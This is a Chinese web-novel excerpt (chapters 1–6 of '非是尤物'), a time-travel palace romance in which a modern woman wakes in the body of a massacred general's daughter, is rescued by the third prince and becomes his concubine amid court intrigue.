《非是尤物》 1. 无路可退 《非是尤物》全本免费阅读 烟笼寒月,秋风露浓,院子里似乎开满了艳红色的菊花。那些花是开的那样美好,那些身披盔甲的士兵们来回践踏亦是簇立枝头,任凭花瓣凋落,遍地狼藉。 冷刃银光随着篝火来回穿动,此刻的安静是刚刚惨绝人寰,满目疮痍的延续。遍地尸首在那些邀功请赏的士兵面前不过是阻碍行路的绊脚石,随意就被踢开了。 “小姐,小姐。”影儿一边警惕的看着周边一边使劲的推曳着虞初。她手不停的颤抖,她确实是害怕极了。 尤苏寒迷迷糊糊中感觉到了旁边有人在不停地摇晃着自己,微微睁开眼睛,竟是漫地红斑映入眼帘。扑面而来的是一阵阵的奇怪味道,许久不曾褪去。 “这味道,这味道是……血腥味!”尤苏寒实在是太虚弱了,她眼皮不停的抖动着,她想睁开看清些。 “小姐,小姐,你快起来!”看见她手指抖动,旁边的姑娘压抑的叫声一下子清晰了不少。她一边喊着一边抓起她的手不停的摩搓着,只是双手都是血液,两手黏糊冰冷并没有让人觉得暖和多少。 尤苏寒缓缓转头看见一个姑娘蓬头散发,脸上脏兮兮的。 “谢天谢地,小姐,你终于醒了。快起来,再不跑就真的来不及了。奴婢实在是背不动了。”姑娘擦了擦自己脸上的眼泪,赶紧俯身伸手拉着尤苏寒想要把她一把拉起。可能是力气太小了,反而踉跄了一下又跌坐了下来。 尤苏寒又定了定神,她环顾四周,横七竖八的都是一些断臂口吐鲜血的人躺在地上,这扑面而来的血腥味让她一阵恶心,直接干呕了起来。她伸出自己的双手,亦是满手鲜血。再看了看自己身上的衣服。虽被鲜血浸染,淤泥附着,但不难看出这衣裳原本应该是很漂亮的锦缎制成。隐隐她感觉到自己胳膊上不停地有液体流出。定睛一看竟然有一道很深的刀口。 “这是什么情况,我不是在游泳馆的吗,怎么在这里?”满脑子越来越多的疑问让她感觉到头越来越疼。她不停地拍打着自己的脑袋,不但没有丝毫缓解,反而越来越疼,感觉都快炸裂了。她脑子里忽然多出来许多陌生的记忆,犹如一道道闪电劈进她的脑袋里面。她双手抱头,不停地把自己头撞向身后的墙上,实在是有些受不了,只有更加剧烈的疼痛才会让她好受一些。一旁的姑娘看她这样以为她是伤心过度想要自戕,赶紧双手环抱住她不再让她伤害自己。一边流泪一边劝阻:“小姐,求求你,你不要这样。影儿求你了。” 不知过了多久,尤苏寒精疲力尽地靠在旁边那个影儿身上,一言不吭。只是她不停地流着泪,她控制不住的流泪,她心如刀绞。耳边风声呼呼吹过,尤苏寒再一次环顾四周,她意识到了,她已经不再是她了,她应该是穿越到这个姑娘身上了。深思极恐,那些记忆让她害怕的浑身发抖。 她叫虞初! 刚刚头痛欲裂的往脑子里面钻进去的那些零碎记忆,是她现在这个身体的。记忆里面都是一些闺房记忆,一些跟母亲的对话。她看了眼身边的姑娘,她的记忆里面有她,这个稚嫩可爱的姑娘是她的贴身丫鬟,而她自己,记忆片段里面,她叫虞初!以及里面那两个躺在冰凉地上的和蔼可亲的老人就是是虞初的爹娘。他们不曾闭目,何等不甘。 尤苏寒的心里翻江倒海,明明这些人不是自己的亲人,可是她却像是失去了自己的亲人一样难过,那种难过是喘不过气的窒息感,甚至她都顾不上想,为什么她自己会穿越到了一个古代姑娘的身上。她还未意识到,自己面临的处境有多危险。 她身子冰冷,手微微颤动。依稀记得自己在泳池为了救闺蜜林水新被一个不认识的大汉拉下水,池水呛得她意识模糊难受极了,待其再次清醒看到的就是眼前这幕了。 还不由她理清情绪,旁边就传来几个男子的对话声音。 “罪臣虞术反抗激烈,已经被当场射杀了,虞夫人也殉情了,只是听说虞家还有一个小姐,不知躲哪里去了,千万不要放过余孽。” “余孽?”尤苏寒心下一紧,合着自己穿到一个大小姐身上,荣华富贵未曾享到,倒还成了余孽了。影儿听到士兵声音吓得屏住呼吸,生怕一不小心就被他们听到动静。尤苏寒看了看自己手臂上的刀口,裙摆上扯了块布就自己给自己三下五除二的包好了。她自己本来是兽医,虽然服务对象不太一样,但是自己这点小事还是难不倒自己的。旁边的影儿看着虞初手法利落不可置信的张着嘴巴看着她,心下想道“以前小姐出一点血都吓得恨不得晕厥过去,现在怎么还会自己包扎伤口了,自从刚刚小姐体力不支昏睡过去,醒过来后,总觉得哪里有点奇怪,具体哪里她自己也说不上来。” 影儿走上前扶着虞初,两个人小心翼翼地贴着墙根走。一路上蹑手蹑脚躲躲闪闪,两人的心都快跳出来了。他们看着一路上尸体横生,自然是害怕极了。尤苏寒不知道自己是不是在那边水下死了才会穿到这个虞初身上,这多少算是重获新生了。她可不想被抓到就这么被当成余孽当场正法掉。 终于,她们到了虞府后门,门微微掩着,不知是否众人都去寻人,竟无人看守。刚想趁机溜出去,突然一束火光照得自己睁不开眼睛,她试图用手挡住自己眼睛避开光线往回走。只是下一秒手臂已经被两个士兵扣到身后按压在地上。 “这个估计就是虞家小姐了,赶紧押过去邀功。”两个士兵相视一笑,拖着两个姑娘就走,突然二人倏的站住,松掉了虞初和影儿在原地行礼。 “三殿下!” 虞初抬头望去,只见站在前面的男子一身藕紫锦袍,外面是一层绣着兰花的薄纱外衣。他腰身挺直高大,腰间的兰花玉带上挂着一个洁白玉佩。束发玉簪,眼神深邃,眉目高挑分明。棱角分明的脸庞上高挺的鼻梁显得整个人更加清秀俊朗。 站在他身旁的是一个白衣少年,手持文扇。个子跟前面的这位差不多少,怎么着也有一米八五的样子了吧。男子面若冠 2. 识的春风面 《非是尤物》全本免费阅读 万尘安站在不远处看着正在唾弃刘渡的女子不禁挑了挑眉。这姑娘还真是将候之女啊,虽说是命垂一线之际,本性求生无可厚非,只是这做派跟闺门女子毫不沾边,怎么看也不像是一个大家闺秀的模样。 本来万尘安随刘渡前来就是赶来营救虞将军的,无奈还是晚了一步。刘渡看到虞候之女尚存定是要救的。倘若她是柔弱求救估计现在早就被刘渡带了回去,看她身上血渍斑斑定是受伤匪浅,怎么还这么能吼能嚎的如同个小狼狗一般,真是聒噪非常,让人难生怜悯。 万尘安手指转动着手中的扇子,他是有意打趣一番面前这个姑娘的,但是想到大皇子可能随时都可能过来,那时就不好办了。他走到两个侍卫跟前悠悠然道:“这虞府大小姐我今天是要带走的,不然我可没办法跟刘渡交代。”两个侍卫像是并不买账,现在这个无权无势的三皇子要人,他们什么也捞不着,实在是不划算。 “那人我就带走了啊。”说着万尘安拿着手中的扇子点了一下虞初旁边的丫头道:“快扶你家姑娘走吧。”只是影儿早就在一旁吓得腿软,这被万尘安突然用扇子拍了一下,力道虽然不大,但还是吓得尖叫:“不要杀我!” 万尘安见状用手摸了摸鼻尖皱眉:“我就这么吓人?”旁边两个侍卫顺势回答道:“万公子,您还是让我们带走吧,不然我们也不好跟李大人交代啊,是不是。” 万尘安刚刚还面带笑意的脸突然就阴沉了下来。 “你们倒是提醒了我,你们还要向李大人交代,这可怎么交代呢,要不……”话音未落万尘安展开的扇子似利刃一般瞬间划过两人喉咙。影儿一直低着头并未见到此番景象,但是旁边目瞪口呆的虞初倒是吓得不轻。她飞速的转动着自己的脑袋,但是里面早就乱的跟线团一样了。她只是听过父亲说过三皇子,这个万尘安可是只字未提啊,到底是个什么样的人物。最重要的是,他看起来也不像是个好人啊,上来就杀人,太麻木了。 万尘安转头看了看呆若木鸡的虞初笑声道:“你可能自己走?” 虞初听声连忙回应道:“能的,能的,我自己走。”说着就想要往前走,谁知衣下的裙摆被瘫坐在地上的影儿压了个大半,这真是让人头大。她用力拉拽着自己的裙摆,先前受伤的肩膀伤口再次裂开,血水慢慢渗透到她的手腕处。此时此刻她只想赶紧逃离这个地方,哪里还顾得上自己的伤。万尘安见状欲上前帮忙,便走上前打开扇子想要帮她割断裙摆,谁知虞初听到扇子展开的声音,心头一颤,以为是万尘安要来了结了自己,惊吓之下竟昏厥了过去。万尘安看着倒下了虞初连忙拍了拍旁边的影儿问道:“你到底能不能走啊,你有没有受伤啊?”影儿这才唯唯诺诺的站了起来回答道:“能……能走。” 万尘安上下打量了影儿一番,心下明白靠她是不行了,于是收起手中的扇子抱着躺在地上的虞初往外走着。 “跟上!” 影儿闻声跟着万尘安后面小碎步走着,过了许久她才忽然意识到,她们得救了。 春熙苑是皇上赐给刘渡的府邸,整日不问朝事只顾自己种些花花草草倒也是对得起他自己的府邸的名字。院子很大,虽是深秋,依旧满院缤纷,花团锦簇。仆人丫鬟虽然不多,但个个都是刘渡自己精心挑选过的。他们个个身怀武艺,个别文采亦是非凡。只是刘渡曾再三叮嘱过,非性命攸关之际,没有指令,不得显露武艺。所以外人看去,文熙苑里面的仆人丫鬟与别的府上的并无两样。 万尘安抱着虞初走进文熙苑的时候正好看到刘渡正在前厅喝着茶,看到万尘安手里抱着的人刘渡似乎有些疑惑的问道:“她怎么这样?” “你也不看看她身上的伤,流了这么多血,你该好奇的应该是她刚刚怎么还能中气十足的讲话。”万尘安看了看站在原地丝毫没有上前帮忙意愿的刘渡摇了摇头。 “我还是自己送她去房间吧,不够折腾的。”说着跟着前面带路的丫鬟去了。 刘渡把手里的茶杯放在嘴边抿了抿,若有所思。 虞侯一向刚正不阿,虽然平时说话刺耳粗糙,但是绝不会有反心。虞夫人是自己母后之前还未入宫时的闺中蜜友,更何况虞将军还是他年幼时差点遇险的救命恩人。他庆幸自己还能救下虞大人之女,先前早有耳闻虞大人只有一个掌上明珠,只是平日里身子娇弱,不怎么见人。这次见到的这个虞初跟他想象中的并不一样,看来传闻毕竟是传闻,不可全信。 “你倒是笃定我能带回虞小姐,真是一点都不客气呢!”万尘安走到刘渡桌旁坐了下来,撩了撩衣袖拿起旁边刘渡早已为他沏好的茶在鼻尖处闻了闻,随后小抿了一口。 “就那两个侍卫当然不是你万公子的对手,解决他们不是轻而易举的事情吗?”刘渡转头看向万尘安面容严肃,万尘安索性一口喝掉了手里的茶水起身走到门口望向刚刚虞初住的那间房屋。 “她伤的不轻,不过已经没有性命之忧了,你大可放心。” 万尘安打开手里的扇子轻轻煽动。他明白刘渡的忧虑,私藏罪臣之女,一旦被发现皇上肯定会怀疑是否刘渡就是虞候所勾结之人,这个罪名可不好洗脱。但是不救,那他就不是刘渡了。 “虞小姐体弱甚少出门,估计见过她的人不多,我看除了她身边的那个丫鬟别的基本上都被你那个杀伐决断的大哥给杀光了,用不用我帮你把这个丫鬟也解决了,这样就又少了一个人知道她的身份了。” “那你要不要把我也灭口了,我也知道她的身份。” 万尘安抬头看去,原是夏篱。 夏篱走过万尘安身边朝着万尘安点了点头,随后便走到刘渡身旁坐了下来。她很自然的给刘渡沏茶,慢条 3. 半是月光半是伤 《非是尤物》全本免费阅读 翌日清晨,虞初缓缓睁开眼,头重脚轻的还浑身疼痛不堪。她转了转头看到那床前激动万分的影儿竟连话都说不利索了。 “姑娘……姑娘……”影儿呜咽起来。这些天的害怕、悔恨、期待和现在的喜悦,影儿五味杂陈。影儿是从小就被卖到侯府跟着虞初的,虞初虽是将门之女,但是为人温柔谦逊,对于从小一起长大的影儿也是好得跟自己姐妹一样的。出事之前,虞夫人特地照应影儿一定要让谢姐平安无事的跑出去,只是事出突然,一切都来不及反应。那晚她以为自己是必死无疑的,谁曾想现在她倒是好好的站在这里,小姐却躺在床上生死未卜。 虞初看着一旁的影儿心中自是理解,但是身子实在虚弱,也没有多余的力气来安慰她了。再往旁边看去,一个身着青白素花大袖襦裙,头上配饰不多却个个点缀精彩的女子椅坐在床边。清晨阳光透着纱窗照在女子侧脸,精致挺直的鼻梁上是一双温柔的眼睛,只是像是少了点什么,虞初盯着女子许久,这么漂亮的眼睛为什么淡然无光。 夏篱见虞初醒过来,起身走过去拉着虞初的手温柔地说道:“可算是醒了,再不醒影儿的眼睛就要哭的跟个桃子一样了。” “夏娘子又打趣奴婢了!”影儿哭哭啼啼的说着,看着虞初疑惑地眼神解释道:“姑娘,这位是三皇子府上的夏娘子,这些日子都是她没日没夜的照顾你的。” “多谢夏娘子。”虞初声线低沉很是虚弱。夏篱拍了拍虞初的手背安抚,转头看向自己丫鬟左儿吩咐道:“快让伙房弄些清淡的粥来。” “殿下”! 听到帘外下人动静的虞初吃重的想要起身,一边的夏篱以为她是想要行礼,赶忙上前阻止安慰。 “虞姑娘切莫起身,你病重伤身,好好躺着就行,三殿下不是在乎这些繁文缛节之人。” 透过屏风虞初模模糊糊的看到屋外的那人,他进来问了影儿几句话,就又转身离开,并未多留。 虞初有太多的问题要问这个三皇子了,这是她醒过来第一次见到他,只是这来去匆匆的根本没有机会跟他说话,心下寻思日后找机会再问吧,现在好歹是命保下来了。 随后影儿双手端着一些东西进屋放在虞初面前。虞初放眼望去,瓶瓶罐罐的虽然都是包装完整,但是大抵能猜出基本上都是一些调理养生的补品。 夏篱见虞初已醒,照应了下人几句便放心的回自己屋稍作休息去了。这些天她基本上醒过来就往这边跑。虽与虞初并不相识,但是她知道,刘渡和虞将军的关系,于公于私,于情于理,刘渡是希望虞初安然无恙的。刘渡所想,她定是倾尽全力的。 “小姐,我们可真是托了老爷的福报了,那天我以为我们死定了,没曾想被三殿下救回来了。听夏娘子说,三殿下因跟老爷是有些渊源的,所以三殿下才会暗中出手相救的。” 虞初闷不做声,只是听着影儿继续说着这附中的人物关系和最近发生的一些事情。 “夏娘子您早上是见过的,小姐你躺了几日,基本上都是夏娘子过来帮忙打理的。凡是亲力亲为,真的是一点架子没有,跟姑娘您是一样的好心肠。” “她是……?”虞初虽吃过东西,但语气依旧有气无力。 “小姐你是问夏娘子吧,她是三殿下的妾室,三殿下还未娶妻,这夏姑娘据说好像是三殿下去了趟冀州带回来的一个妾室。夏娘子为人宽厚和蔼,从不苛待下人,只是可惜也是个病弱之身,常年服药。三殿下待这夏娘子可真是关爱备至,她虽不是正妻,但二人相敬如宾,羡煞旁人。” “这三殿下的正妻皇上想必早有人选,自然是不允许三殿下自己儿戏选择的。不过二人在府里相爱相守也未尝不是件好事。这夏娘子模样跟那天仙似的,三殿下金屋藏娇也不奇怪了,就连我这个女子看她都是顶尖的漂亮,这三殿下说到底也是个男人,不奇怪。”虞初是见过刘渡的,虽然当时没有细看,但绝对是个俊朗如玉,淡定儒雅的男子,尤其是那双眼睛,温柔中透露着冷冷的坚定与果断。在她见过的男子中,他算是名列前茅了。 “小姐您昏迷了一阵现在说话怎么有些轻浮了。”影儿不可思议的看着尤苏寒甚是惊讶。 后花园处,刘渡一袭白衣站在池边喂着鱼,脸上悠闲甚是自在。 “殿下,殿下!”希白跑到刘渡跟前深吸了一口气继续说道:“殿下,不好了,大殿下和二殿下来了,就在前殿。” 刘渡眼睛微微转动许久不曾说话。 大殿下刘渊还好,毕竟同母,平日里明里暗里刘渊帮他解围过不少,只是刘渊野心勃勃,他不愿与他过多深交,避免卷入朝堂之事。起初刘渊还时常埋怨刘渡,不同他站在一处,后来见他实在无心就也罢了。 这二皇子刘渝就不同了,他是陈妃独子,从小聪明伶俐深得皇帝喜爱,只是他一向视刘渊为眼中钉肉中刺,刘渊毕竟是长子,刘渝想要得到他想要的,必定要除掉这个绊脚石。刘渊与刘渝二人之争经常会殃及刘渡,虽然刘渡平日已经尽量远离是非了,但这刘渊平日太过谨慎,没办法,转而来寻刘渡的错处,刘渊对这个弟弟还是很是爱护的,想要以此来掣肘刘渊,奈何次次不如意。这次刘渝突然前来,想必又是无事不登三宝殿。 刘渡无奈的揉了揉眉头无奈的看了眼希白:“这才清净几日就又来了,我这府邸门槛都快被这二位踩平了,下次不管你用什么办法,给他们拦在门外,莫要让他们进来。” “殿下,您这就有些为难小的了,我一个随从无权无势的,我怎么敢得罪那两位爷啊,你还是放过我吧。”希白也很是无奈,别说自己了,就连他们主子亲自出来也未必难得住。 刘渡看着满脸为难的希白不禁笑道:“不逗你了,看看时辰,比我想象的来得还晚了一些。”说罢大步流星的离去了。 “大皇兄,二皇兄。”刘渡进来后一一行礼后便朝着旁边的空位走去坐了下来。府上的下人早就习惯了他们二人的拜访,早早就上了上好的茶水点心,生怕晚了又被大殿下苛责刘渡没有管好下人礼仪,寻出错处。 “这是又去后院闲情逸致去了。整日游手好闲,朝堂之事你是一点也不过问,今日你不曾上朝,你可知你大哥被父皇骂了整整一个时辰。”刘渝看似情急责问,实则说出刘渊错处笑等看戏。 刘渡不等刘渊说话便打岔道:“也差不多到了午膳时间了,不如我们去膳房用膳,正好得了瓶好酒,我们边喝边聊。”说罢刘渡便吩咐起下人前去准备。 文熙苑用膳的地方是比较靠近夏篱住所的,三人若无其事的走过去准备用膳,刚到门口就看到一女子素衣银钗,悠闲地坐在一房门外晒太阳。藤椅来回摇动,脸上遮阳的手帕也随着律动不停掀起角边。 刘渡皱眉,他站在虞初房门口半天未曾讲话。 虞初悠闲自在的躺在藤椅上都快睡着了,这时听见零碎的脚步声以为是下人们忙着开膳,正好自己也饿了。眼睛都不曾睁开,呼唤声中似乎多了丝欢快。 “影儿,是不是可以用午膳了,怎么今天像是比往常早 4. 各怀鬼胎 《非是尤物》全本免费阅读 刘渡看着二人背影,心下自是五味杂陈。他本有意将虞初安置京外,虞将军的唯一女儿,想他也是希望虞初平安顺遂的度过余生,婚丧嫁娶他也只是由她顺心而为。夏篱从不是个偭规越矩之人,今日这等反常,他心下顿然。紧锁的眉间并未得到舒展,他深吸了口气随他二人走了过去。 琳琅满目的菜品摆满了桌子,三人纷纷坐下,兄友弟恭看起来很是和谐。 刘渡看了一眼旁边若无其事的刘渊,低声问道:“皇兄这是犯了何错惹得父皇如此不悦?”。 刘渝窃笑的看了眼刘渊,立马咳了一声表情严肃的说道:“前些日子我跟着父皇外出狩猎,你身子不适在家休养,那大皇兄在宫内暂理事务,那虞候叛变,父皇本意收监后审,谁知回来虞候竟被杀了满门,你这大皇兄一问三不知,父皇骂他荒唐至极,难揽大权,难成大事!。” “我在府内修养多日,竟不知外面发生了这么多事情。不过虞候的事情我也听到许多风声,只是前因后果还没弄清楚。”刘渡满脸疑惑。 “这刑部尚书这今日是被骂的最惨的了,皇兄顶多算是池塘里被殃及的鱼罢了。只是这父皇说大哥难揽打野,扶不起的阿斗确实是有些严重了,皇兄还是不必放在心上。”刘渝今日看似故作深沉,语气却极其轻松疏朗。他可是看了刘渊一上午的笑话,何况皇上骂刘渊难揽大业,心下早已乐开花了。 刘渡默默地坐在一旁听他娓娓道来,时不时看着刘渝假惺惺的神情姿态,了然于心。此时刘渊嫌弃的看了看刘渝,甚至是翻了个白眼。他转头撇向刘渡,见他不予理睬这才缓缓放下手中杯盏起身说道:“虞术之事我理应虚心接受,反躬自省。” 刘渊缓步走向刘渝表情意味深长,忽而轻松一笑:“这刑部胆大妄为,直接就去抄了虞府。这现在大臣个个来指责我来了。” “皇兄是嫡长子,日后必是继承大统的天选骄子,现如今虽还不是太子,但是大臣心中各个都是心知肚明的,他们对您严格以待亦是本分,皇兄切勿介怀。”刘渝头微微昂着,看着甚是坦荡悠闲。 “只是一向听闻二弟跟刑部侍郎李勤往来甚密,下次再有什么动作二弟若有耳闻就早些通知皇兄,省的我次次都慢人一步。”刘渊似乎并不曾因为早朝被骂而心情不好。 “皇兄这是哪里的话,我与李勤交往是有,但绝不是皇兄口中的‘甚密’,人多口杂,这要是哪日传到父皇口中就不是这般意思,你一向知晓父皇最讨厌什么,最讨厌的就是皇子大臣来往过甚,这罪名我可承受不起。更何况我怎会提前得知此事,我也是今日早朝才闻其事,惊讶的很呢!”刘渝脸上漫不经心的多出一丝得意,转身走向正在一旁细细品茶的刘渡。 “我听闻那日有人在虞府附近看到了一个人,形容起来我听着怎么好似三弟样貌,再是旁边那人也似万尘安。我向来知晓万尘安常往来于你府中,竟是连相府都甚少回去。你也多体谅体谅万大人,年过半百,就这么一个儿子,整日跟着你潇洒自在的好似那文人雅客,那外人闲言碎语说起来多难听啊,游手好闲之徒,这万相脸往哪里搁。再者听说那万夫人见个儿子比朝见圣上都难,也确是实属不易。” “哪日?”刘渡放下手中杯盏,继而无奈笑道:“二皇兄是说那日李勤抄家虞府那日可是?” 刘渝只是微微笑道不曾否认。一旁的刘渊应是第一次听见此事也满是疑惑地盯着刘渡,静静地等着刘渡如何解释。 “我还想问问大皇兄呢,那日我与尘安本想去会香阁,只因那日会香阁放出豪言说是当日有飞花令,夺得头筹者可品尝百年佳酿‘醉玲珑’,这可是上等佳酿,我那日分明差人去问过皇兄,可有空一道前去,皇兄不来也不差人通报一声。”刘渡看了眼一旁的刘渝解释道:“我知二皇兄不在京内,何况一向不喜与我们弄风作雅,所以这才未曾叫上二皇兄一起,省得你又要说我游手好闲了,全无正事了。” 刘渊拍了拍脑门恍然大悟:“我那日把这事忘得一干二净了,莫见怪,莫见怪。” “那‘醉玲珑’的头筹必是我和万兄夺得,此等美酒本想带给皇兄品尝一番,那会香阁到我府上必是经过虞府的。谁知未曾走近就听见里面哀嚎一片,我一向怕见杀戮,拉着尘安便回府了。”说着刘渡拿起桌上的一瓷白瓶,光看瓶身已是精美绝伦,好似一艺术品。他起身给刘渝刘渊一一满上酒杯得意道:“二位皇兄快快品尝一番,看看值不值得我那日亲自跑去会香阁一趟。” 刘渝点了点头笑道:“父皇要是知道你去会香阁拔得头筹,你猜他还信不信你身体抱恙,不能上朝等鬼话了。” 刘渡逢迎笑道:“那就有劳二位皇兄帮我瞒住,你们素来是知道我的,我真是听到那些大臣在朝上嘟嘟囔囔争论不休我就头疼,我还是躲起来自在一些方能长寿。再说朝上有二位皇兄替父皇解忧,也轮不着我去费那个神。偷得浮生半日闲,甚是自在。” 三人各怀鬼胎的吃了近一个时辰,待刘渝走后,刘渊神情严肃的看着刘渡道:“你可知我那日去虞府,有两个侍卫突然暴毙,你知他们是怎么死的吗?” 刘渡右手扶头,长叹一口气道:“皇兄说的奇怪,我又怎么得知这些。” “被人利器割喉,甚是平整。”刘渊起身扶了扶腰间青玉腰带,走到门口看着门外许久未曾说话。他似乎在等什么回答,或者说,他在等刘渡给他一个满意的答复。 “皇兄怕是贪杯多喝了些,我让希白先送你回府上休息。”刘渡神情冷淡平静,他起身后拉了拉自己袖口离开了座位。刚走到门口,刘渊便双手一推, 5. 岔路已抉 《非是尤物》全本免费阅读 刚过酉时,夏篱敲了敲刘渡的房门,希白前来开门,见是夏篱侧身退了两步让出路来等其进来。希白神色惊诧的看了看二人,退下守在门外默不作声。 别人不知但是希白心里清楚得很,夏娘子确实甚少来找过他们家殿下。往常若有来客,也都是万尘安闲来无事才会前来坐坐。 刘渡抬眼望向走近自己的夏篱,起身前去把椅子挪了个舒服的位置给夏篱坐下。 “这么晚了,你若有事大可让我过去,夜阑露浓,何苦亲自跑一趟,寒气入体就得不偿失了。” 在夏篱来之前刘渡一直在书房里看着手下送过来的案卷,大抵都是近日朝堂发生的一些事,他虽以病推脱未在朝堂,但却无时不在关注。 “妾以为殿下今日会去找我,但是等了半日好像我想错了。”夏篱宛然一笑,起身走到刘渡案牍边看了几眼笑道:“大殿下这次是着了二殿下的道了,想必他虽心中已知来龙去脉,又无凭证只能吃了个哑巴亏。” “为何自作主张将虞初困于府内?”他沉默半日终究还是问了。 “终须有人陪在你身边我才放心些。”夏篱只是继续盯着案牍上的案卷,淡淡的回答。只是那案卷上统共就拿几行字,不觉已看了数遍。 “夏篱……”刘渡刚想说些什么夏篱抬眼打断道;“殿下,我自己的身子我是知道的,我这接近灯枯的身子几乎是你用药吊着的,想必殿下早已心知肚明,只是怕我多虑从未提过。”夏篱走上前去拉着刘渡的衣袖走到椅边坐了下来继续笑道:“我与虞姑娘相处月余,她绝非庸辈俗人,殿下那日为何站在虞初屋外许久,别人不知为何我却了然于心。想必殿下也是在思考虞初何去何从吧?” 刘渡拍了拍夏篱手背责备道:“想必我平日里说的话你都当耳旁风了,不休息跑出去!” 夏篱不理只是继续说道:“虞将军先前与殿下早有结亲之意,想必虞候亦是看中殿下人品,否则他就这么一个宝贝女儿,怎会轻易决断。谁曾想虞候还未向皇上提出就生了这等祸事。现且不论虞候之事缘由,殿下就不曾想过这虞初看似豁朗活泼,心下估计也早已有所决断,她若是寻常闺中柔弱女子,想必现在整日以泪洗面是避免不了的,自她清醒后,殿下何曾见过她流过一滴眼泪,她内心坚硬程度恐不输男子。”夏篱停顿片刻,眼神微垂。 “二殿下野心昭然若揭,殿下比谁都要清楚。殿下府上无故多一女子,若不说清,二皇子怎会善罢甘休。殿下让人找了女尸换上了虞初的衣物,可那二殿下生性多疑,又处处难为殿下,万一让他心下生疑找出头绪,殿下岂不身陷囵圄。灯下黑,与其遮遮掩掩不如大方的站在他们跟前,这才是虞初最好的去处。” “天色已晚,我让希白送你回去。”刘渡收起案牍上的案卷并不接话。夏篱站在一旁长叹了口气抿了抿嘴笑道:“每次我说这些你就开始撵人,果然今日我不找你你是万万不会来找我的。” “你到底知不知道你现在这身子根本由不住你如此思虑,你是不要命了吗?”刘渡难得的在夏篱面前失态,以往他总是平静温和,他待夏篱亦是有求必应,照顾周到。刘渡话到嘴边硬是生生憋住。 “夏娘子的身子愈发不好了,今日我摸着脉象,怕是远不如躺着的虞姑娘啊,虞姑娘伤在肉身,仔细调理即可恢复。但夏娘子毕竟伤入肺腑,回天乏术,殿下恐须早做打算。”李太医不久前跟刘渡说的话再次在刘渡脑海里闪过。 夏篱缓缓走上前欲言又止,见刘渡闭口不言,亦沉默许久。 “妾先行告退,殿下早点休息。”夏篱深知刘渡无意让自己继续往下说便实趣的回去了。 夏篱走后,刘渡站在门口望了许久,待希白回来后禀明夏篱已回去休息,这才回屋歇下。 刘渡看着门外,愈发暗淡的脸色逐渐变得阴霾,他的身份处境确实很多时候让其进退两难,哪怕自己不争不抢,还是有人会随时把自己推向风口浪尖上去。刘渝对他早起疑心他心知肚明,他若真安心恬荡般生活,恐怕自己早就亡魂难安了。 这夜,尤苏寒在屋子里亦是辗转反侧,本来自己只是打算在府上待着混口饭吃,谁知今日明明自己什么都没做,一不小心竟成为了那一日都跟自己说不上几句话的刘渡的小妾。她自己想了想刘渡的样貌,眉清目秀,帅气的脸上多些儒雅清贵,翩翩公子大抵不过如此。就尤苏寒来说,长这么大还真没有见过比他长得好看的,自己倒也不算吃亏。只是近日在府上住了也有月余,这三殿下当真是如传言所说,不求上进,整日附带风雅,万一不是个好的依靠自己不就是抱错大腿了。这现代还能离婚,在这边,估计我以后只能殉葬吧! 不得不说尤苏寒对自己的长久打算也算细致,只是不知道过了多久,终是酣然入梦了。 “小姐,小姐,夏娘子……”影儿站在尤苏寒的床前吞吐为难,待其再想开口讲话时身后之人拉了拉她。 “算了,我等会再来吧。”夏篱刚想离开,尤苏寒模糊的睁开了眼睛,她木楞的的坐在床边似乎还未完全清醒。 “夏姐姐,你怎么这么早就来找我了,你可有事?”尤苏寒揉了揉太阳穴忽然想到了什么赶紧吩咐影儿道:“赶紧让夏姐姐入坐。” 夏篱看着尤苏寒笑着摇了摇头:“影儿,今日给你小姐把头发梳上去吧。”影儿听后站在原地手足无措的看着夏篱。 “今后你们小姐就是三殿下府上的尤娘子了,言行举止都要仪态大方些才是。这殿下出宫的早,虽没有长辈在跟前,自己也不可轻易失了仪态让别人看了笑话。” “没得选吗,”尤苏寒思虑片刻抬头问道,“我那样岂不是没了自由?”尤苏寒虽安慰 6. 第 6 章 新婚 《非是尤物》全本免费阅读 礼成当日,尤苏寒瘫躺在床上,眼神直盯着顶帐。整个人像是被抽空了一样。影儿站在门口时不时的趴在门上往外盯梢。 尤苏寒虽然肚子饿得咕噜响,但是嬷嬷走前千叮咛万嘱咐一定要等殿下过来才能动前面的果饼。她躺在那边一动不动,两眼空洞。这繁文缛节对女人向来是严苛的,一举一动皆有方圆。此刻的她,连说话都是大伤元气,很是费力。 “小姐,殿下来了!”影儿透过门缝看见身着红衣的刘渡慢悠悠的朝着这边走来,赶紧手忙脚乱的跑过去拉尤苏寒。 影儿赶紧捡起床边的红盖头给尤苏寒给盖上,顺带着把她的衣摆也抹平整齐,尤苏寒刚想问影儿人到哪里了,就听见门“咯吱”一下。 “不用问了,应该是进来了。”尤苏寒盖着盖头,试图用耳朵听脚步声到哪里了。但是好像从门打开后就一直没有别的声音。 “先出去吧!”刘渡站在门口许久才冷冷的酝酿出这么一句。 显然,这是对影儿说的。 尤苏寒虽然早就做好了心理建设,但听到影儿出去关门的声音还是心跳加速,脑瓜子嗡嗡的不知道下一步该怎么做怎么说。正犹豫不知如何是好之际,她低着头看到了大红袍裙摆离自己越来越近,直到站在床沿边才停了下来。 “饿了吧!”男子声线温柔清晰,跟往常并无大致区别。 “饿了,但是嬷嬷说不能吃。”尤苏寒的回答倒是实诚恳切。刘渡弯了弯嘴角刚拿起旁边的喜称,就见尤苏寒毫不客气的把自己的红盖头给拉了下来。她抬起头看到刘渡较为惊讶的表情,又看了看刘渡手上的喜称,赶紧慌忙的盖到头上说道:“不好意思,差点代劳了,你来,你来!” 刘渡无奈的摸了摸紧皱的眉头,眼底倦意忽而就消散了一半。他转身走到前面的桌子旁坐了下来。糕点上的囍字被他一一拎到旁边,齐刷刷的躺在桌角一旁。 “快过来陪我吃点东西吧,我今天都没怎么吃东西。”刘渡转头看着坐在床沿边上的尤苏寒。只见她拉下来盖头试探的看了看自己,然后稍显做作的朝着桌子这边走了过来。 “今日操办的简单,你不要太介意。”刘渡一如往常轻声细语,顺手拿了自己右侧的那块桃花酥递给她继续说道,“赶紧吃吧。” “不介意,不介意”尤苏寒嘴上虽说不介意,心下却是想着“这还叫简单,我半条命都快没了。”忽然又想到了刘渡刚刚说的话,心下一紧。 “赶紧吃吧!”尤苏寒反复寻思着这句话,“这刘渡让我赶紧吃是为何,不会是想我早点吃完做些什么吧。”想着想着嘴里的酥饼一下子没吞咽得下去,呛得咳嗽起来。刘渡赶紧起身帮她拍了拍背,见还未有所改善就走到旁边去寻茶水去了。 